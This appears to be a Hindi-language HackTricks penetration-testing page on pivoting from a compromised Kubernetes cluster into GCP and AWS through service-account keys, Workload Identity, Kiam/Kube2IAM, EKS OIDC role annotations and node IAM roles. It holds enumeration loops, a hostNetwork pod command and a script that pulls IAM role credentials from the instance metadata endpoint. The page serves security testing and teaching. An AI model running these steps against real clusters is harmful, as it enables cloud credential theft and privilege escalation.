Kubernetes Pivoting to Clouds

हैकट्रिक्स का समर्थन करें और लाभ प्राप्त करें!

GCP

यदि आप GCP में एक k8s क्लस्टर चला रहे हैं, तो आपको संभावतः चाहिए होगा कि क्लस्टर के अंदर चल रहे कुछ एप्लिकेशन को GCP का कुछ एक्सेस हो। इसे करने के दो सामान्य तरीके हैं:

GCP-SA कुंजी को सीक्रेट के रूप में माउंट करना

GCP के एक कुबरनेट्स एप्लिकेशन को एक्सेस देने का एक सामान्य तरीका है:

  • एक GCP सर्विस अकाउंट बनाएं

  • उसमें चाहिए अनुमतियों को बाइंड करें

  • बनाए गए SA की एक json कुंजी डाउनलोड करें

  • पॉड के अंदर एक सीक्रेट के रूप में माउंट करें

  • उस पथ को पॉड के अंदर GOOGLE_APPLICATION_CREDENTIALS पर्याय के रूप में सेट करें जहां json है।

इसलिए, एक हमलावर के रूप में, यदि आप किसी पॉड के अंदर एक कंटेनर को कंप्रोमाइज़ करते हैं, तो आपको उस env variable और GCP क्रेडेंशियल्स के साथ json फ़ाइलें की जांच करनी चाहिए।

GSA json को KSA सीक्रेट से संबंधित करना

एक GSA को GKE क्लस्टर को एक्सेस देने का एक तरीका है उन्हें इस तरीके से बाइंड करके:

Copy codekubectl create serviceaccount <service-account-name>
  • एक Kubernetes सीक्रेट बनाएं जिसमें आप GKE क्लस्टर के लिए पहुंच देना चाहते हैं GCP सर्विस अकाउंट के क्रेडेंशियल्स हों। आप इसे gcloud कमांड-लाइन टूल का उपयोग करके कर सकते हैं, जैसा कि निम्न उदाहरण में दिखाया गया है:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • निम्नलिखित कमांड का उपयोग करके Kubernetes सीक्रेट को Kubernetes सेवा खाते से बाइंड करें:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

दूसरे स्टेप में, GSA के क्रेडेंशियल्स को KSA के सीक्रेट के रूप में सेट किया गया था। फिर, अगर आप GKE क्लस्टर के अंदर से उस सीक्रेट को पढ़ सकते हैं, तो आप उस GCP सर्विस अकाउंट में उन्नति कर सकते हैं।

GKE Workload Identity

वर्कलोड आइडेंटिटी के साथ, हम एक Kubernetes सर्विस अकाउंट को कॉन्फ़िगर कर सकते हैं ताकि वह एक Google सर्विस अकाउंट की तरह कार्य करे। Kubernetes सर्विस अकाउंट के साथ चल रहे पॉड्स को Google Cloud APIs तक पहुंचते समय अपने आप Google सर्विस अकाउंट के रूप में प्रमाणित किया जाएगा।

इस व्यवहार को सक्षम करने के लिए पहली श्रृंखला के स्टेप यह है कि GCP में वर्कलोड आइडेंटिटी को सक्षम करें (स्टेप्स) और उस GCP सर्विस अकाउंट को बनाएं जिसे आप k8s को अनुकरण करना चाहते हैं।

  • एक नए क्लस्टर पर वर्कलोड आइडेंटिटी को सक्षम करें

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • नया नोडपूल बनाएं / अपडेट करें (ऑटोपायलट क्लस्टर्स को इसकी आवश्यकता नहीं होती है)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • K8s में GCP सेवा खाता बनाएं जिसे अनुकरण करने के लिए GCP अनुमतियाँ हों:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • क्लस्टर से कनेक्ट करें और सेवा अकाउंट बनाएं जिसे उपयोग करना है।

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • GSA को KSA के साथ बाइंड करें

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • KSA के साथ एक पॉड चलाएं और GSA की पहुंच की जांच करें:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

निम्नलिखित कमांड की प्रमाणितीकरण के लिए जांच करें, यदि आवश्यक हो:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

एक हमलावर के रूप में K8s के अंदर आपको iam.gke.io/gcp-service-account एनोटेशन के साथ SAs की खोज करनी चाहिए क्योंकि यह संकेत देता है कि SA किसी चीज़ तक पहुंच सकता है GCP में। एक और विकल्प हो सकता है कि क्लस्टर में हर KSA का दुरुपयोग करने का प्रयास करें और देखें कि क्या पहुंच है। GCP से हमेशा संबंधित होता है कि बाइंडिंग को गणना करें और जानें कि क्या पहुंच आप Kubernetes के अंदर SAs को दे रहे हैं

यह एक स्क्रिप्ट है जिसका उपयोग करके आप आसानी से सभी पॉड परिभाषाओं पर इटरेट कर सकते हैं जो उस एनोटेशन की खोज कर रहे हैं:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam और Kube2IAM (Pods के लिए IAM रोल)

IAM रोल्स को Pods को देने का (पुराना) एक तरीका है Kiam या Kube2IAM सर्वर का उपयोग करना। मूल रूप से, आपको अपने क्लस्टर में एक डेमनसेट चलाने की आवश्यकता होगी जिसमें एक इंजीनियरी आईएएम रोल होगा। यह डेमनसेट ही वह होगा जो पॉड्स को आईएएम रोल्स तक पहुंच देगा जो इसे आवश्यक होंगे।

सबसे पहले, आपको नेमस्पेस के अंदर पहुंच सकने वाले रोल्स को कॉन्फ़िगर करना होगा, और आप इसे नेमस्पेस ऑब्जेक्ट के अंदर एक एनोटेशन के साथ करते हैं:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

एक बार नेमस्पेस IAM रोल्स के साथ कॉन्फ़िगर हो जाता है, पॉड्स को आपके पास हो सकते हैं, आप प्रत्येक पॉड पर चाहते हैं उस रोल को निर्दिष्ट करने के लिए कुछ इस तरह से इंडिकेट कर सकते हैं:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

एक हमलावर के रूप में, यदि आप पॉड या नेमस्पेस में या कुबे-सिस्टम में चल रहे कियाम/क्यूबे2आईएएम सर्वर में ये एनोटेशन्स मिलते हैं, तो आप पहले से ही पॉड्स द्वारा उपयोग की जाने वाली हर भूमिका की अनुकरण कर सकते हैं और अधिक (यदि आपके पास AWS खाते तक पहुंच है तो भूमिकाओं की जांच करें)।

IAM भूमिका के साथ पॉड बनाएँ

इंडिकेट करने के लिए IAM भूमिका को कियाम/क्यूबे2आईएएम भूमिका के साथ एक ही AWS खाते में होनी चाहिए और उस भूमिका को इसका उपयोग करने की अनुमति होनी चाहिए।

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM रोल के लिए K8s सेवा खातों के माध्यम से OIDC

यह AWS द्वारा अनुशंसित तरीका है

  1. सबसे पहले, आपको क्लस्टर के लिए OIDC प्रदाता बनाना होगा

  2. फिर आपको एक IAM रोल बनाना होगा जिसमें सेवा खाता को आवश्यकता होगी।

  3. IAM रोल और सेवा खाता के बीच विश्वास संबंध बनाएं (या नामस्थान जो रोल को नामस्थान के सभी सेवा खातों के लिए पहुंच देता है)। विश्वास संबंध मुख्य रूप से OIDC प्रदाता नाम, नामस्थान नाम और सेवा खाता नाम की जांच करेगा

  4. अंत में, एक एसए को बनाएं जिसमें एक एआरएन की संकेतित करने वाली टिप्पणी हो, और उस एसए के साथ चल रहे पॉड्स को रोल के टोकन का उपयोग करने की अनुमति होगीटोकन एक फ़ाइल में लिखा होता है और पथ AWS_WEB_IDENTITY_TOKEN_FILE में निर्दिष्ट किया जाता है (डिफ़ॉल्ट: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)।

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

आवश्यकता होने पर /var/run/secrets/eks.amazonaws.com/serviceaccount/token से टोकन का उपयोग करके aws प्राप्त करने के लिए निम्नलिखित को चलाएं:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

एक हमलावर के रूप में, यदि आप एक K8s क्लस्टर की गणना कर सकते हैं, तो उस एनोटेशन के साथ सेवा खातों की जांच करें ताकि आप AWS में उन्नत कर सकें। इसके लिए, बस एक IAM विशेषाधिकृत सेवा खाता का उपयोग करके एक पॉड को एक्जीक्यूट/बनाएं और टोकन चुरा लें।

इसके अलावा, यदि आप एक पॉड के अंदर हैं, तो AWS_ROLE_ARN और AWS_WEB_IDENTITY_TOKEN जैसे env variables की जांच करें।

कभी-कभी एक भूमिका की विश्वासनीयता नीति गलत रूप से कॉन्फ़िगर की जा सकती है और इसके बजाय उम्मीद की जाने वाली सेवा खाते को AssumeRole उपयोग करने की अनुमति देती है, यह सभी सेवा खातों को देती है। इसलिए, यदि आप एक नियंत्रित सेवा खाते पर एक एनोटेशन लिखने के क्षमता हैं, तो आप भूमिका तक पहुंच सकते हैं।

अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:

pageAWS - Federation Abuse

क्लस्टर में IAM भूमिकाओं के साथ पॉड और SAs ढूंढें

यह एक स्क्रिप्ट है जो आसानी से सभी पॉड और SAs की परिभाषाओं पर ढूंढ़ता है उस एनोटेशन के लिए:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

नोड IAM रोल

पिछले खंड में IAM रोल को कैसे पॉड के साथ चुरा सकते हैं के बारे में था, लेकिन ध्यान दें कि K8s क्लस्टर का एक नोड एक क्लाउड के अंदर एक इंस्टेंस होगा। इसका मतलब है कि नोड के पास एक नया IAM रोल होने की बहुत अधिक संभावना है जिसे आप चुरा सकते हैं (ध्यान दें कि आमतौर पर K8s क्लस्टर के सभी नोडों के पास एक ही IAM रोल होता है, इसलिए हर नोड की जांच करने का प्रयास करना वापस नहीं हो सकता है।)

हालांकि, नोड से मेटाडेटा एंडपॉइंट तक पहुंचने के लिए एक महत्वपूर्ण आवश्यकता है, आपको नोड में होना चाहिए (ssh सत्र?) या कम से कम एक ही नेटवर्क होना चाहिए:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAM रोल टोकन चुराएं

पहले हमने बात की थी कि कैसे पॉड्स को IAM रोल जोड़ें या फिर कैसे नोड पर भागने के लिए IAM रोल चुराएं जो इंस्टेंस इसके साथ जुड़ा होता है।

आप निम्नलिखित स्क्रिप्ट का उपयोग करके अपने नए मेहनती IAM रोल क्रेडेंशियल्स चुरा सकते हैं:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

संदर्भ

हैकट्रिक्स का समर्थन करें और लाभ प्राप्त करें!

Last updated